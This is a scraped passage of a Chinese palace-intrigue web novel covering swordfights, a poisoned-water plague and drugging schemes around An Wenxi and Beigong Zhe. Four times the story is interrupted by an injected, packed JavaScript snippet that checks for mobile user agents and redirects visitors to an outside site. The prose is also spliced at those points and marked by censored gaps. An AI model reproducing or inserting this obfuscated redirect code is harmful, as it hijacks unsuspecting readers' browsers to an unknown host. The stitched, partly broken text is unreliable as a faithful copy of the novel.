他若是不放她走,他们也就算是彻底撕破脸皮,结盟作废,那他也就别妄想他们会帮他一起对付北宫喆。 “送凤公子。” 待安文夕走后,慕容清眸光深沉,对着身后的秋月使了个眼色。 “属下明白。”秋月抱拳出了大殿。 凤轻歌,朕折了你的翅膀,看看你是否还会这么狂傲! 此时已经接近亥时,外面夜色凉如水,安文夕加快了脚步,眼角扫了眼四周,低声对欢凉和袭匀道:“有尾巴,快走!” 欢凉和袭匀立即明白,慕容清这是明着放行,暗里就派人将他们抓回去,卑鄙! 安文夕和他们二人交换了个视线,至少在这青华宫里,后面的尾巴不会动手,到了青华宫宫门口,三人身形一闪,分别朝三个方向而去,等到身后的那人回过神来,三人早就没有了身影。 “该死!”那人低斥一声,提身追了上去。 衣袂飘飞,足尖轻点,安文夕身姿一掠,对欢凉和袭匀道:“换个方向,不要将人引到客栈。” “小师妹,师兄明白。”袭匀剑锋一挑,扬起一阵尘土,隔断了身后的视线。 夜色如墨,残月高悬。 前方的树枝一动,轻微的响动须臾之间湮灭在寂静的夜色中。 男子一把抽出长剑,从上方跃下,逆着夜色而来。 “等候多时了!” 面前一寒,安文夕下意识地避开了身子,抬眸看去,不禁惊在了原地,这提剑而来的不正是本应该死在睿王府火海中的李管家么? 他没死,那么王叔去世就是一场密谋了! 安文夕脑海中顿时有零碎的东西拼凑在了一起,慕容清他杀了王叔,然后嫁祸给了北宫喆,好让他们和北宫喆斗个你死我活! 安文夕眼底泛出恨意,她竟然被慕容清蒙骗了这么久! 她直直后退,眼底的余光看向欢凉,显然她也认出了李管家,她朝欢凉递了个眼神,和她一起慢慢朝他逼近,手中的长剑寒光乍现。 二人眼中的杀意令李管家心中一颤,这招招致命的狠戾逼得他节节后退。 “剩下的交给你了!”欢凉瞥了眼袭匀。 “一个不留!”安文夕眼底的狠戾更盛。 纵身而起,身子顿时轻如鸿雁,身体内仿佛蕴藏着源源不断的力量,内力精湛纯粹,握着长剑的右手蓄满了内力,翻飞的长剑划开漆黑的夜色破空而来,决绝的刺过李管家的手臂,然后一把挑开他手中的剑,抬脚将他踢飞。 安文夕握紧了手中的长剑,眸光凌然,她的内力全部回来了么? “嚯——”不待他反应,安文夕手中的长剑抵在了李管家的喉咙处。 李管家扫了眼紧贴着脖子处大动脉的剑锋,眼底蓦地闪过一抹阴狠,提脚踢向安文夕,随即利爪攻向她的面门。 安文夕狠狠的踩住李管家的双腿,抬手抓住李管家的胳膊,狠狠一扭,将他整条胳膊卸了下来,抬脚踢向他的穴道,嘴角勾起一抹讥笑,“声东击西,这招可不高明。” 李管家痛的龇牙咧嘴,可是身子却动不了分毫,只能恶狠狠地盯着安文夕,恨不得将其生津剥骨。 “封了你的穴道,防止你**。有时候,活着比**更痛苦,是不是,李管家!”安文夕最后三个字用了唇形,而没有发出声音。 李管家看清了安文夕的唇形,双目微睁,看着她如白玉般的清润的面庞,脸上慢慢浮现惊恐来。 “别玩了,给他们个痛快!”欢凉眉宇之间充斥着煞气,对袭匀道。 袭匀手起刀落,招招凌厉,长剑划过,抛出了一道道殷红的血线,宁静的郊野顿时变成了修罗场。 欢凉看着地上尚未冷却的尸体,不由得冷哼道:“就这样的货色,也想拦住我们?” “这才叫打架,过瘾!”袭匀甩起剑尾的血珠,利索的收了长剑。然后扯过腰间的小瓷瓶往地上的尸体上倒去,不消片刻,地上的尸体全部化作了一滩血水,渗入地下。除却空气中淡淡的血腥味,此处像是什么也没有发生过一般。 “走!”安文夕将地上的李管家直接扔给了袭匀。 袭匀将李管家拖了起来,一阵叫苦不迭,为什么力气活总是他的? 到了清月客栈,袭匀气呼呼的一把将李管家扔到地上,安文夕一把扯开他的的衣袖,墨色的飞羽图案赫然出现在了安文夕的眼前。安文夕眸光微凝,抬手摸向李管家的下巴处,根本没有戴**,想必这又是换脸了! 那么,九华殿刺杀,冒充秋水和无涯一事也是慕容清干的了。只是,慕容清又怎么会知道无涯和秋水? 安文夕抬手解了李管家的哑穴,李管家惊悚的看着安文夕道:“你,你是瑾淑妃?” “你倒是不傻。”安文夕这一声恢复了女声。 “没想到慕容清会留你活到现在。” 李管家闻言眸光顿时一黯,沉声道:“你,到底想做什么?” “你杀了我王叔,你说我想做什么?” “那都是皇上让我做的,冤有头债有主,你要报仇也该找他去。” “我呸,还皇上,真不要脸。”袭匀低唾道。 安文夕眸光一敛,“那毒是你亲手下的!欢凉,你去叫晟哥哥来。” 安景晟来了之后,安文夕将九华殿刺杀一事和睿王**去世一事全部告诉了他,对此,李管家供认不讳,安景晟眸光阴沉,一掌直接了解了李管家。 速度快至安文夕根本来不及阻止,“晟哥哥,你怎么杀了他,我觉得还可以从他嘴里问出来点东西。” 安景晟额头上青筋毕露,握拳道:“这个狗奴才杀了我父王,我恨不得生剐了他!至于慕容清,就算不从这狗奴才嘴里得到什么消息,我也一样对付的了。” “晟哥哥,接下来你打算怎么做?” “发兵慕容清,取他项上人头!”安景晟咬牙道。 “晟哥哥……” “夕儿,此事绝无异议。” “晟哥哥,我们现在当务之急便是赶紧离开这里,想必慕容清已经追来了!” 安景晟眸光微动,扫了眼李管家的尸体道:“好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若是换了第二个人,只怕他现在早已经连人带汤都一起扔出去了。 江向晚脸色一僵,然后再次舀了一勺,“喆,你就看在我那么辛苦的份上,再喝几口。” 此时她的手心濡湿一片,握着勺子的手有些微颤。 “晚儿,你身子不好,早些下去休息吧。” “我自己的身体我自己清楚,我没事的,就让我在这里陪你一会,我肯定不会打扰你的。” 北宫喆脑子有些微沉,握起了朱笔,看着奏折,渐渐觉得眼睛有些模糊,刚一抬眸,就看到不远处女子正笑意晏晏的看着他。 北宫喆不敢置信的睁开了眼睛,猛地站起了身子,颤声道:“夕儿,是你么?” 江向晚噙着的笑意顿时僵在了嘴角,他叫的是夕儿,不是她! 在她愣神之际,北宫喆已经走过来一把抱住了她,霸道的力道让她不容反抗,江向晚心中一惊,难道这么快药效就起作用了? 第120章 你没资格 第一百二十章你没资格 北宫喆感觉小腹处升起一阵热浪,双目迷离沉醉,一把将江向晚扔到龙榻上,欺身而上,将头埋在她的发间低喃,“夕儿,夕儿……” 江向晚死死地咬着唇,闻着他身上清凉的香气,脸色嫣红一片,紧张的手心出了一层细汗,期待着他的下一步动作。 此时,她已经不在乎他是不是将她当做了安文夕,她只希望她可以拥有他。 江向晚克服心中的羞怯,两只小手覆到北宫喆胸前,有些迫不及待的去脱他的衣服。 突然有只大手一把捉住了她的小手。 江向晚蓦地一惊,被他发现了么? 不可能的,曹太后给她的药药性极强,惑人心智,沾之即醉。他不可能能从中醒过来! “晚儿,你怎么在这里?”北宫喆原本游离的双目刹那间清明。 江向晚浑身一震,有些不可置信的看着脸色一寸寸冷下去北宫喆。 “喆,我……”江向晚瞬间脸色涨得通红,这样羞耻的问题要她怎样回答? 北宫喆黑瞳一凛,冷道:“你知道对朕下药的后果么?” “喆……” “下去!”北宫喆强忍着没有将她从床上甩下去的冲动,转身翻下了龙榻。 “喆,你不能这么对我。”江向晚眼眶发红,眼底噙着一抹凄凉。 她抛却一切羞耻,却换来被他厌弃的结果呢,这对她而言,未免太残酷! “这龙榻,你没资格!” 江向晚蓦地一震,不可置信的对上北宫喆冰冷的视线,凄然一笑,“我没资格?那谁有资格,安文夕么?喆,你别忘了,你那日千抬为聘,我将会成为你唯一的皇后,我比谁都有资格!” “晚儿,不要逼朕。”北宫喆极力压制着不断席卷而来的欲望和迷醉。 江向晚从榻上一步步走下来,眼中流下两抹晶莹,嘶哑着嗓子道:“是你在逼我。”是他逼着她用这种办法对他。 北宫喆看着脸色黯然的江向晚,眼底划过一抹失望,对殿外厉声道:“张海!” 张海捧着拂尘,立即跌得撞撞奔了进来,看到里面这幅景象,立即吓得低下了头。 “送江小姐回府!” 北宫喆说完,撩开步子,大步走向后面的寒冰池。 “喆……”江向晚急急地追了上去,她已经将自己的尊严送到了他的手中,却被他狠狠地踩在了脚下,现在已经没有回头路了。 她一把从后面抱住了北宫喆,轻啜道:“喆,你给我个机会好么?” 北宫喆顾及她身体不好,握了握拳,慢慢挣脱了她的禁锢,厉声道:“张海,你是死的么!” 然后大步走向寒冰池,连摇曳的衣摆都带出了几分冷意。 北宫喆甚至连衣服都没有来的及脱,直接跳下了寒冰池,砸出了一片水花,寒入骨髓的池水消释了他小腹处一步步攀升的**。 北宫喆抬手封住了自己的穴道,整个瘫软在了寒冰池内。 刚才就差一点,他的血液就要涌进脑门,冲出血脉,七孔流血! 北宫喆微微闭上了眼睛,江向晚的眉眼越发的模糊了起来。 “九哥哥!” 突然一抹红衣闪进他的脑海,北宫喆倏地睁开了双眼,泡在寒冰池内的身体已经冰凉刺骨,就连睫毛处都结了一层冰霜。 北宫喆提身跃出寒冰池,外面天色已然发白。 三日后,一道百里加急的折子被递进了夏宫,北宫喆目光落到“瘟疫”二字之时,双眸内刹那间沁了寒霜,当即,将手中的折子碾成齑粉。 “三军听令,随朕征讨沐阳!” 这个年轻的帝王从暗处走来,浑身布满冷煞,身姿决绝如神抵。 北宫喆带领三军刚走,惊魂就匆匆赶回了承安。 自从发生了那晚的事情之后,江向晚再也么有进宫,一直待在左相府中养身子。 惊魂带着雪上冰莲一路直奔左相府,他知道,晚儿的身子耽搁不起了。 江向晚看着惊魂一脸的疲倦,横生的青渣,眼底闪过一抹复杂。听说他自从喆向她提了亲之后,就开始颓废不起了,没想到如今成了这个样子。 待看到惊魂手中的的雪上冰莲,江向晚微微惊讶道:“这是喆让你给我送来的?” 惊魂蓦地一愣,这的确是皇上让他去幽冥山取回来的。 他动了动干涸皲裂的嘴唇道:“是。”只有一个音节,却嘶哑的厉害。 江向晚结果惊魂手中的雪上冰莲,脸上绽开一抹明媚的笑容,“喆他果然还是记着我的。”那日他一定恼了她用那样的方法,他现在心里还有安文夕,她不能那么急切,不能将他逼得太紧,她应该慢慢的将安文夕赶出喆的记忆。 惊魂看着浅笑的江向晚心中一涩,她心里念得只有皇上,而一点都看不到他的真心。 承安距幽冥山千里之远,他快马加鞭奔波了足足两天两夜到了幽冥山,花了一日的时间在幽冥山下寻找雪上冰莲,然后又马不停蹄的跑了两天两夜,才到了承安。一路上,连马都跑**四五匹。几天几夜都没有合眼让他的身子急剧透支,脑袋也有些发沉。 看着惊魂落寞的神情,江向晚心中微扯,咬了咬唇,“惊魂,要不要先坐下来喝杯茶?” “不必了,你,你赶紧将雪上冰莲服了吧,我这就告辞了。” “不如我和你一起吧。”江向晚迎着惊魂微微疑惑的目光道,“我去宫里找喆。” “皇上御驾亲征,已经出发前往了沐阳,你不知道么?” “什么?他去了沐阳?”为什么不带她去,以前不论多少血风腥雨,都是他们一起走过来的,这次怎么可以不带她去。 “晚儿,你身子不好,皇上一定想让你在府中多多休息。”惊魂劝道。 江向晚抿了抿唇,“我知道了,惊魂,我希望你赶紧振作起来,如今慕容清**,沐阳正在交战,你应该上阵杀敌,而不是沉溺在儿女私情之中,你明白么?” 惊魂一滞,然后缓缓点头,步出了左相府。 济州,毗邻沐阳,如今瘟疫已经泛滥成灾。瘟病本来多发于夏季,而今却是初春的季节,没想到却突然来了一场瘟疫,且传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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突然,安文夕蓦地停住了脚步,俯身下来道:“大叔,大婶她?”她看了眼躺在蒲草上的妇人。 这对夫妻正是她那晚借宿的那户人家。 大叔认出了她,满脸凄色,“公子,我家娘子她……” “大叔,你们怎么在济州?” “那日我用公子留下的银子去给我爹看病,结果那大夫说是染上了瘟病,看不好。果然,过了两日,我爹就去世了,谁知被人得知我家有人染了瘟病,就将我们赶到了济州来。到了济州当日,我娘子她就开始不舒服了……” “走走,赶紧走,老子不是说了不许待着这里么!”这时,一群官兵模样的人冲撞了过来。 “一群要死不死的贱民,晦气!” “大人不是说了全部移到城南的民宅区么,再呆在城内,全部烧死,一个不留!” 城南民宅区,那可是贫民窑! “官爷,小的这就走,请您多宽限几个时辰。”刚才的大叔以及请求道。 “少罗嗦,赶紧走,不然老子这就送你上路!”为首的那人抽出了腰间的佩刀抵在了大叔的脖子处。 第121章 别来无恙 第一百二十一章别来无恙 “还有你,赶紧走,赶紧走!”那人欲过来推搡安文夕,欢凉一把抓住那人的手往前一拉,再往后一掼,然后将他一脚踢开。 “哎呦——”那人吃痛,提起刀就朝欢凉刺来,却被欢凉再次毫不留情的扔开。 “兄弟们上,敢在太岁头上动土,不给他点教训他都不知道马王爷有几只眼睛!” 安文夕眸光一敛,这些个官兵真是欺人太甚,正欲动手,身后传来一阵急迫的马蹄声,安文夕蓦然回首,只见马上的男子面容清绝冷峻,神情高贵无双,月白锦袍彰显别样的贵不可攀,身后玄色披风猎猎挡风。 众人皆齐齐看来,连刚才的那些官兵一时都忘记了动手。男子身上浑然天成的压迫感令人不敢与其对视,众人视线擦过他滚着金丝银边的衣摆,只觉贵为神祇。 那人一把勒住了缰绳,对安文夕略略抱拳,“凤公子,几日不见,别来无恙!” 安文夕对上那双微微含着冷意却已经被她刻进骨子中的双眸,半晌淡吐出几个字来,“别来无恙。” 北宫喆扫了眼她冷冷勾唇,“凤公子真是好雅致,不好好地在青楼楚馆抚琴,却来到了这里,是嫌自己命太大么?” “这个不必你操心。”安文夕睥着他蓦然转身。 刚才的官兵已经从刚才的震撼中反应过来,趁着安文夕不备,想伸手抓住她的双臂将她扔开。 北宫喆眸色一凛,从马上一跃而下,揽住安文夕的柳腰再次翩然落在马背上。 而刚才围在安文夕身侧的官兵全部被掀翻在地,此时正痛苦的哀嚎。 这一幕只发生在一瞬之间,待安文夕反应过来已经被北宫喆紧紧禁锢在了马背上,他的手此时正贴在她的腰间。 “皇上,你这是做什么,放我下来!”安文夕咬牙对身后的人道。 北宫喆沉着一张脸,臂弯将安文夕牢牢地锁在胸前,双腿猛地夹了下马腹,胯下的蹄血玉狮子如一道闪电一般奔了出去。 “公……公子……”欢凉急的一阵跺脚,公主被北宫喆带走了,万一被他识破了身份,这该如何是好?她咬了咬牙,折身回了客栈。 跟在北宫喆身后的青玄翻身下马,扯过腰间的令牌递到官兵的面前,冷道:“带我去见你们知府!” 为首的那人看见青玄手中金色令牌中上雕刻的墨色飞羽图案,吓得双腿发软,忙道:“大人,请随小的来。” 北宫喆将安文夕一直带到营帐前,下了马,直接拉着安文夕进了主营帐,霸道的没有一分道理。 安文夕想甩开他的手,结果根本是蚍蜉撼树,她咬牙怒道:“皇上请你放开我,不知皇上将我带到这里所为何事?” 她的语气中七分怒气,三分不耐。 这个人不由分说就将她带到了这里,简直是个疯子! 北宫喆松开她的手,看着她染了怒气的眉眼,“安文夕,你以为你能逃脱朕的手掌心,嗯?” 安文夕蓦地一滞,他果然点破了她的身份,从他在潇湘馆送她红豆时,他就开始试探她了! 她深吸一口气,看着北宫喆有些阴鸷的双眸道:“皇上,你认错人了吧,在下是凤轻歌。” “呵……”北宫喆嘴角轻扯,一把扣住他的下巴,直直的吻了上去。 “唔~”安文夕睫毛一颤,不可置信的盯着眼前北宫喆放大的俊颜。 她现在还戴着凤公子的**,他怎么……安文夕双手不断地往外推打着北宫喆,拼命的逃脱他的钳制,却偏偏无处可逃。 北宫喆霸道的撬开她的唇齿,感受着她久违的气息,攫取着她的美好,他的吻很深,恨不得将她揉进骨髓里。 “喆——”江向晚突然掀开帐帘,看见北宫喆捧着一个男子的脸吻得深沉,顿时呆在原地,连脸上的笑意都没有来得及收去。 “出去!”北宫喆怒斥道,卷起身后的披风将怀中的安文夕整个儿遮了起来。 江向晚脸色顿时涨红,狠狠地咬着下唇,转身出了营帐。 她千千迢迢的赶到这里,想给他一个惊喜,没想到就看到了这一幕,喆他竟然亲吻一个男人,那满脸的柔情狠狠地刺痛了她的双目。他见了她进去,不仅没有停下来,反而赶她出去,难道是嫌她打扰了他么? 北宫喆的吻独有他的霸道而温柔,清凉的气息令人很容易沉陷,安文夕渐渐被吻得透不过气来,北宫喆这才意犹未尽的在她的红唇上啄了一口。 看着被他允红的唇瓣,北宫喆眼底的冰霜逐渐消逝,渐渐生出一抹温柔来。松开了她的双手,刚欲撕开她脸上的**,安文夕咬牙狠狠地甩上去一巴掌。 “滚!亲一个男人,你也不嫌恶心!”安文夕顿时后退几步,警惕的盯着北宫喆,眼尾向四周扫去,她想离开这里! 北宫喆脸色一寒,一步步逼近她,“安文夕,你还要装么,你若是想装,朕就陪你装到底!”北宫喆再次抓住安文夕的手,大手探向她的胸前。 “你放开我!”安文夕怒道。 北宫喆听着熟悉的女声,将她扣在怀里,嗤笑道:“不装了?” “北宫喆,你到底想要干什么?” “朕干什么?你那日私自出逃就该想到会有今日。” 见她不再反抗,北宫喆稍稍松了些力气,迎着她不甘的双眸,捏着她的下巴,令她迎着他的视线无法躲避,“你说现在朕是叫你安文夕还是该叫你凤公子,嗯?你和慕容清同盟来对付朕,就是这样的手段么,播下瘟疫,牺牲这济州满城的百姓?” 面对他的质问,安文夕一个字都说不出来,这件事她毕竟和她有关,不是么? “瘟疫这件事我不会袖手旁观,我会想办法阻止瘟疫蔓延。” 北宫喆眼底渐渐泛起薄怒,“你阻止?这场瘟疫的病源来自水中,且通过水源传染,你要如何阻止?” 百姓生存离不开水,这就意味着根本无法阻止这场瘟疫的传播。 安文夕咬唇,“既然慕容清在水中下了瘟疫,那么他手中就一定有解药。”慕容清既然这么做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408940|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,必然有解决的对策。 北宫喆瞬间明白了安文夕的意图,“就是去找解药也不用你去,你给我老实待在营帐内!” 北宫喆扔下这句话,大步跨出营帐,然后回头看了眼安文夕道:“不要逼朕点了你的穴道。”然后对营帐两旁的侍卫吩咐道:“看着她,她若是逃跑了,提头来见!” 安文夕闻言脚步一顿,看着北宫喆冷煞的背影咬了咬唇,就凭这些个侍卫,只怕还拦不住她! 北宫喆走后,江向晚从营帐后面缓缓走了出来,她双拳紧握,眼底浮现一抹恨意,刚才她将里面的对话听得一清二楚,什么凤公子,根本就是安文夕。 又是这个女人,又是她,为什么到哪里都会有她的存在?为什么她一次次的将喆从她身边抢走? 江向晚飞快的掩去眼底的神色,掀开帐帘,走了进去。 安文夕正打算从营帐后方遁走,却看到江向晚走进了营帐,一袭桃红色的长裙衬得她人比花娇,灵蛇高髻巍峨,嘴角挂着淡淡的浅笑,只是这笑不达眼底。两颊上有着淡淡的红晕,泛着健康的色泽。比年前在枫月谷见时,精神许多,难道已经将千年龙魄植入他的体内了? “凤公子,或者我应该叫你安文夕。” 既然她都知道了,安文夕也不掩饰,对她微微点头:“江小姐。” “你不是跟玉公子去了西楚么,怎么还在这里勾引皇上?”江向晚嘴角噙着讥讽。 安文夕微微一滞,这样卸去白莲花伪装的江向晚令她有些不太习惯,她随即道:“江小姐难道不知,可是皇上让左言亲自从西楚将我接回承安,想必皇上是一日不见思之成狂。” “不过是个狐丨媚子罢了,待我入主中宫,看你还能蹦跶多久。”江向晚说着嘴角浮现一抹得意,不管怎样,大夏的皇后都只会是她。 “呵,皇后?还没入宫呢,就急不可待的来炫耀,也不嫌害臊。再说了,皇上不喜欢你,就算你入了宫,也只能守活寡而已。”安文夕冷哼,想拿话膈应她,她还嫩点。 虽然今天的江向晚有些反常,不管她玩什么把戏,她都不能让自己在她这里落了下风。 “你——”江向晚恨恨咬牙,她原本是打算气的逼安文夕出手,没想到反被她气的半死。 江向晚一把抽出腰间的长剑,朝安文夕刺去,反正谁先出手都是一样的,她要的就是这个结果罢了。 呵……说不过就要动手了么? 安文夕也不甘示弱,旋身抽出腰间的七节鞭,好久没有使鞭,手都痒了呢! 江向晚虽然看着招招狠戾,实际却没什么力道,不过片刻,江向晚额头上便出了一层细汗,就连气息也有些喘了。 她不甘心的提剑再次刺来,安文夕毫不费力的侧身一避,然手一把抓住江向晚的纤腰,直接扔出了帐外。 “啊!”江向晚惨叫一声,重重的跌落在地,蓦地吐出了一大口鲜血,嘴角挂了抹血迹。 看守营帐的侍卫顿时慌了神,立即惊呼道:“江小姐……” 第122章 是个美人 第一百二十二章是个美人 江向晚眸光一黯,厉声道:“不许碰我!” 她吃力的撑起身子,对着四周喊道:“左言,左言送我去找月公子。” 隐在暗处的左言立即现身,蹙了蹙眉,一把抱起了地上的江向晚,眼尾扫了眼营帐内,皇上命他寸步不离的看着瑾淑妃,可是若是江小姐有个三长两短的话,他也担待不起。 左言犹豫了一下,抱着江向晚走向月清绝的营帐。 安文夕隔着帐帘看着外面的这一幕,挽了黛眉,难道刚才江向晚一直在逼她出手,还故意被自己打伤,目的就是将左言引走,可是她为什么要帮她? 安文夕嘴角微勾,这江向晚真是用情至深,竟然用这种方法让她离开北宫喆。 没有了左言,单凭这两个侍卫,简直是小菜一碟。 “砰——” 营帐内突然传出一声巨大的响声,守在营帐门口的两个侍卫对视了一眼一同进了营帐。 与此同时,安文夕从一旁出来,悄无声息的溜出了大营。 刚才的那两位侍卫看着空无一人的营帐顿时傻了眼,想起皇上那句令人胆颤的提头来见,二人不禁背脊一寒。 “去,去禀告皇上,人……人不见了!” 月清绝此时正盯着罐子里从附近河流中取来的水眉头紧蹙。 “多久才能配出解药?” 月清绝瞥了北宫喆一眼,努嘴道:“你当是变戏法呢,哪有这么容易?” 北宫喆面上一沉,“三日后,朕要看到解药。” “这么短的时候,你干脆直接杀了我。” “多一天就得多死几百人!” “这样吧,明日我去给染了瘟疫的百姓问诊,至少可以减少些死亡。” “也好,朕明日随你一起去。” 月清绝一听,立即反对道:“你这不是胡闹么,你如是有什么闪失,大夏的江山怎么办,天下的百姓怎么办?” “你以为,你一旦有事,老爷子会放过朕?” 月清绝猛地摇了摇头,肯定道:“不能。” “皇上,月公子。”左言抱着江向晚匆匆赶来。 北宫喆扫了眼左言怀中的江向晚,看着她嘴角的血迹,冷道:“怎么了?” “喆,我……”江向晚立即挣扎着从左言怀中下来扑向北宫喆。 “皇上,瑾淑妃她……她将江小姐打伤。” “喆,我没事的,瑾淑妃她……她不是故意的。”江向晚急忙解释道。 北宫喆双眸如沁寒冰,看着脸色丨微微发白的江向晚,嘴角的弧线都冷了几分。 “她呢?”冰凉的眼神朝左言射去,“朕不是命你看着她么?” “皇上,瑾淑妃她还在营帐内呢,属下担心江小姐……” 北宫喆双瞳骤缩,身形一闪,掠出了营帐,江向晚立即跌跌撞撞的追了上去。 月清绝无奈的瞥了眼左言,摇头道:“你这次可是惹了**烦,安文夕和江向晚她们两个谁在皇上心中的地位重要你还不清楚么?” “可是,江小姐她……” “笨死你算了。”月清绝忍不住敲了下左言的脑袋,“她还有力气追人,就没有力气自己走到我这里了?” 左言微微一愣,顿时明白了江向晚的意图。 月清绝叹了句,“真是个死脑筋。” 江向晚有些慌了,自己被安文夕伤得如此之重,他都没有过问半句,反而急不可待的去找她,难道他一点也不在意她么? “噗——”江向晚一阵气血翻涌,不受控制的吐出一口鲜血,剧烈的咳嗽起来。 北宫喆顿时停下脚步,拧眉,“身子不好,就不要到处添乱。” 江向晚蓦地惊在了原地,他竟然嫌她添乱? “喆,你说什么……”她忍着疼痛追了上去,拦住北宫喆的去路。 “够了晚儿,朕念在多年情谊的份上一次次容忍你,并不代表你做的那些事情朕什么都不知道。” “我做的那些事情?”江向晚身子一颤。 “在清河,你先是劫了夕儿,将她丢进了奴隶市场;朕归朝时,再次刺**告;夕儿白云貂**一事;尚凝萱落水诬陷夕儿一事;还有百水崖一事,也是你一手策划的吧,还要朕说么!” 北宫喆每说一句,江向晚的肩膀就微颤一下。 “朕已经容忍你够久了,若是这些事情换了第二个人,朕早就将她挫骨扬灰,不要再去招惹夕儿!朕对你太失望了,你还是那个善良纯真的晚儿么?”北宫喆眼底划过一抹痛色。 “喆,我做的这些都是为了你,为了你啊!”江向晚颓唐的跌坐在地上,嘤嘤的啜泣了起来,仿佛要将所有的委屈全部发泄出来。 过了半晌,有只手朝她伸来,江向晚以为是北宫喆折了回来,顿时一喜,待看到惊魂担忧的目光,她脸上浮现的笑意顿时一僵。 惊魂不由分说将她拉了起来,叹道:“这样的你真的一点都不可爱,这不是你晚儿,你看看你如今都变成了什么样子了,为了他值得么?” 江向晚一把甩开他的手,嘶吼道:“怎么不值得,为了他,我命都可以不要!我活着一切都是为了他,为了他啊!” 惊魂心中涌出涩意,双眸一黯,从怀里掏出来一方手帕,递到她的手中,“擦擦吧。” 江向晚看着手心中的方帕,咬了咬唇,只听得惊魂又道:“不必还了,你用完扔掉便是。” 江向晚抬头,惊魂已经走远,身形略显萧瑟。 北宫喆匆匆来到马厩,翻身跃上他的蹄血玉狮子,狠狠的夹了马腹,朝沐阳的方向奔了过去,希望夕儿不要发生什么事情,不然他必会将慕容清**万段! 安文夕从营帐出逃时顺道从马厩里偷了一匹汗血马,朝沐阳疾驰而去,看着一路上呻吟不断的染病百姓和越堆越高的尸体,黛眉紧紧挽了起来。 济州离沐阳不过百里的距离,安文夕快马足足跑了三个时辰,抵达了沐阳青华宫。 安文夕不待通报,急急地闯进了青华宫。 “快,拦住她,拦住她!” 安文夕冷冷扫了一眼,挥动手中的七节鞭将人全部摔进不远处的湖水中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408941|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一路走来,仅有一些守卫阻拦,故而这一路倒显得有些畅通无阻。 安文夕收了七节鞭,踏进了主殿,殿内冷清的厉害,没有生火龙,就连炭火也没有,甚至连周遭的空气都冷了几分。 高阶之上,端坐在龙座上的男子锐利的黑瞳径直的朝她看来。 “凤公子,朕等你多时了。” 安文夕蓦地一滞,心头升起一抹不好的预感,眼尾扫了眼四周,觉得这殿内有种说不出来的奇怪。 “慕容清你所说的将北宫喆逼至沐阳,就是用瘟疫的办法么?” 慕容清有些玩味的打量着她,眼底有一抹精光,仿佛就像是在看猎物一般,那种直直窥探的眼神令安文夕一阵毛骨悚然。 “真是卑鄙无耻,像你这样残暴的人真是玷污了这身明黄!”安文夕咬牙,扬起长剑指着他,“你赶紧将解药交出来!” 慕容清对于她的谩骂不禁没有半分恼怒,嘴角的笑意反而愈加扩大,一步步拾级而下,慢慢走到她的面前,眸光微凛,“凤公子,骂够了?” “少废话,解药呢,不然的话,咱们似乎也没必要继续结盟了!” 慕容清倏地笑了,“那晚你见过冷绝了吧,就是你们口中的李管家。” 这一句声音不大,却在安文夕心里嫌弃了巨大的涟漪,慕容清这么问,那么那晚他的目的不是要将他们留下,而是想让他们将李管家带走!那么,他现在就是已经知道她的身份了。 看着安文夕脸上不起波澜,慕容清笑的老谋深算,“十公主。” 安文夕嘴角勾笑,“慕容清,那些百姓皆是无辜之人,赶紧交出解药,我想你想重建北襄,不想得到一座座空城吧。” “解药?你以为你来到了青华宫,还能出得去?” “呵,试试不就知道了!”安文夕一把扔掉手中的长剑,蓦地靠近慕容清,趁他不备,抽出腰间的七节鞭将他一圈圈的锁了起来。 “我就不信,我绑了你,你的属下会无动于衷。” 慕容清丝毫没有反抗,任由安文夕绑了个结结实实,半晌幽幽道:“十公主,你现在还能拖得动朕?” 安文夕顿时一惊,蓦地发觉自己四肢一下子瘫软了下来,竟然丝毫使不出力气,不好,她的内力被封住了!现在脑袋也一阵阵发晕,这种症状来得突然却十分剧烈。 安文夕敛了神色,却依稀可以辨出冷煞空气中若有若无的冷香。 “慕容清,你对我下了药?” “朕只不过是想让十公主放松一下。”慕容清说着解开自己身上的七节鞭,然后一把撕开她脸上的**。 **下的小脸莹白如玉,黛眉淡扫,杏目如含秋水,微微带了些怒意,贝齿晶莹,轻咬着那娇嫩欲滴的唇瓣。 “的确是个美人。”慕容清欲伸手挑起安文夕的下巴,她急急后退两步,警惕的打量着他,他的意图她渐渐明了,今日这分明就是一个陷阱! 慕容清嗤笑一声,“朕看你还能逃到哪里去?” 安文夕发觉体内渐渐升起一股燥热,妈.的,这个人还在**中混了**! 第123章 守身如玉 第一百二十三章守身如玉 